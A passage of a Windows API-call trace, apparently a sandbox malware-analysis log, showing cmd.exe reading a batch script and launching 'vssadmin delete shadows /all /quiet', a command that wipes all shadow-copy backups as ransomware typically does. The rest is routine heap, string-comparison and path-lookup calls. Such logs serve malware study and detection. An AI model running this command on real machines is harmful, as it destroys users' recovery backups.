nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.121] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0238.121] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.121] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.121] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.121] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0238.121] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.121] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.122] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.122] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0238.122] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.122] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.122] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.122] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0238.122] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.122] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.122] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.122] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0238.122] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.122] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.122] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.122] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0238.122] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.122] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.122] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.122] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0238.122] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.122] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.122] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.122] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0238.122] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.122] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.122] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.122] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0238.122] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.122] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.122] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.122] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0238.122] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.122] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.122] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.123] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0238.123] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.123] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.123] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.123] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0238.123] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.123] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.123] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.123] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0238.123] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.123] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.123] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.123] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0238.123] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.123] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.123] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.123] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0238.123] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.123] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.123] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.123] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0238.123] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.123] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.123] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.123] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0238.123] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.123] GetFileType (hFile=0x248) returned 0x3 [0238.123] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.123] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.123] _get_osfhandle (_FileHandle=1) returned 0x254 [0238.123] GetFileType (hFile=0x254) returned 0x3 [0238.124] _get_osfhandle (_FileHandle=1) returned 0x254 [0238.124] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0238.124] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6a5469970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xf4183cf9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesWritten=0xf4183cf9b8*=0x24, lpOverlapped=0x0) returned 1 [0238.124] GetProcessHeap () returned 0x25290790000 [0238.124] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x4012) returned 0x25290798e90 [0238.124] GetProcessHeap () returned 0x25290790000 [0238.124] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290798e90) returned 1 [0238.125] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0238.125] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0238.125] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0238.125] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0238.125] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0238.125] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0238.125] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0238.125] GetProcessHeap () returned 0x25290790000 [0238.125] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xb0) returned 0x25290797340 [0238.125] GetProcessHeap () returned 0x25290790000 [0238.125] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x22) returned 0x25290796490 [0238.125] GetProcessHeap () returned 0x25290790000 [0238.125] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x48) returned 0x252907975e0 [0238.126] GetConsoleOutputCP () returned 0x4e3 [0238.486] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6a546fbb0 | out: lpCPInfo=0x7ff6a546fbb0) returned 1 [0238.486] SetThreadUILanguage (LangId=0x0) returned 0x409 [0239.020] GetConsoleTitleW (in: lpConsoleTitle=0xf4183cf800, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0239.270] malloc (_Size=0xffce) returned 0x252908b0840 [0239.270] ??_V@YAXPEAX@Z () returned 0x252908b0840 [0239.270] malloc (_Size=0xffce) returned 0x252908c0820 [0239.270] ??_V@YAXPEAX@Z () returned 0x252908c0820 [0239.315] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0239.315] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0239.315] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0239.315] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0239.315] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0239.315] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0239.315] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0239.315] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0239.315] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0239.315] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0239.315] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0239.315] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0239.315] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0239.315] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0239.315] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0239.315] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0239.315] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0239.315] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0239.315] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0239.315] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0239.315] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0239.315] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0239.315] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0239.315] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0239.315] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0239.315] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0239.315] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0239.315] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0239.315] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0239.316] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0239.316] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0239.316] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0239.316] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0239.316] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0239.316] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0239.316] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0239.316] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0239.316] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0239.316] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0239.316] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0239.316] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0239.316] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0239.316] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0239.316] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0239.316] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0239.316] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0239.316] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0239.316] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0239.316] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0239.316] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0239.316] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0239.316] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0239.316] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0239.316] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0239.316] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0239.316] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0239.316] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0239.316] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0239.316] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0239.316] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0239.316] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0239.316] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0239.316] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0239.316] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0239.316] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0239.316] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0239.316] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0239.316] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0239.316] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0239.316] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0239.316] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0239.316] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0239.316] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0239.317] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0239.317] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0239.317] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0239.317] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0239.317] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0239.317] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0239.317] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0239.317] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0239.317] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0239.317] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0239.317] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0239.317] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0239.317] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0239.317] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0239.317] ??_V@YAXPEAX@Z () returned 0x1 [0239.317] GetProcessHeap () returned 0x25290790000 [0239.317] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xffde) returned 0x25290798e90 [0239.317] GetProcessHeap () returned 0x25290790000 [0239.317] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x5a) returned 0x252907977c0 [0239.317] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0239.317] malloc (_Size=0xffce) returned 0x252908c0820 [0239.317] ??_V@YAXPEAX@Z () returned 0x252908c0820 [0239.318] GetProcessHeap () returned 0x25290790000 [0239.318] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x1ffac) returned 0x252907aaac0 [0239.319] SetErrorMode (uMode=0x0) returned 0x0 [0239.319] SetErrorMode (uMode=0x1) returned 0x0 [0239.319] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x252907aaad0, lpFilePart=0xf4183cf080 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xf4183cf080*="system32") returned 0x13 [0239.319] SetErrorMode (uMode=0x0) returned 0x1 [0239.319] GetProcessHeap () returned 0x25290790000 [0239.319] RtlReAllocateHeap (Heap=0x25290790000, Flags=0x0, Ptr=0x252907aaac0, Size=0x4a) returned 0x252907aaac0 [0239.319] GetProcessHeap () returned 0x25290790000 [0239.319] RtlSizeHeap (HeapHandle=0x25290790000, Flags=0x0, MemoryPointer=0x252907aaac0) returned 0x4a [0239.319] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0239.319] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0239.319] GetProcessHeap () returned 0x25290790000 [0239.319] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x1b6) returned 0x25290797830 [0239.319] GetProcessHeap () returned 0x25290790000 [0239.319] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x35c) returned 0x252907a8e80 [0239.319] GetProcessHeap () returned 0x25290790000 [0239.319] RtlReAllocateHeap (Heap=0x25290790000, Flags=0x0, Ptr=0x252907a8e80, Size=0x1b8) returned 0x252907a8e80 [0239.319] GetProcessHeap () returned 0x25290790000 [0239.319] RtlSizeHeap (HeapHandle=0x25290790000, Flags=0x0, MemoryPointer=0x252907a8e80) returned 0x1b8 [0239.319] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0239.319] GetProcessHeap () returned 0x25290790000 [0239.319] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xe8) returned 0x252907a9050 [0239.319] GetProcessHeap () returned 0x25290790000 [0239.319] RtlReAllocateHeap (Heap=0x25290790000, Flags=0x0, Ptr=0x252907a9050, Size=0x7e) returned 0x252907a9050 [0239.319] GetProcessHeap () returned 0x25290790000 [0239.319] RtlSizeHeap (HeapHandle=0x25290790000, Flags=0x0, MemoryPointer=0x252907a9050) returned 0x7e [0239.319] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0239.319] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xf4183cedf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4183cedf0) returned 0x252907a90e0 [0239.320] FindClose (in: hFindFile=0x252907a90e0 | out: hFindFile=0x252907a90e0) returned 1 [0239.320] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xf4183cedf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4183cedf0) returned 0xffffffffffffffff [0239.320] GetLastError () returned 0x2 [0239.320] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xf4183cedf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4183cedf0) returned 0x252907a90e0 [0239.320] FindClose (in: hFindFile=0x252907a90e0 | out: hFindFile=0x252907a90e0) returned 1 [0239.320] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0239.320] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0239.320] ??_V@YAXPEAX@Z () returned 0x1 [0239.320] GetConsoleTitleW (in: lpConsoleTitle=0xf4183cf370, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0239.507] GetProcessHeap () returned 0x25290790000 [0239.507] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x21c) returned 0x252907915f0 [0239.507] GetConsoleTitleW (in: lpConsoleTitle=0x25290791600, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0239.823] GetProcessHeap () returned 0x25290790000 [0239.823] RtlReAllocateHeap (Heap=0x25290790000, Flags=0x0, Ptr=0x252907915f0, Size=0xa4) returned 0x252907915f0 [0239.823] GetProcessHeap () returned 0x25290790000 [0239.823] RtlSizeHeap (HeapHandle=0x25290790000, Flags=0x0, MemoryPointer=0x252907915f0) returned 0xa4 [0239.823] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0240.039] GetProcessHeap () returned 0x25290790000 [0240.039] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907915f0) returned 1 [0240.039] InitializeProcThreadAttributeList (in: lpAttributeList=0xf4183cf290, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xf4183cf180 | out: lpAttributeList=0xf4183cf290, lpSize=0xf4183cf180) returned 1 [0240.039] UpdateProcThreadAttribute (in: lpAttributeList=0xf4183cf290, dwFlags=0x0, Attribute=0x60001, lpValue=0xf4183cf16c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: 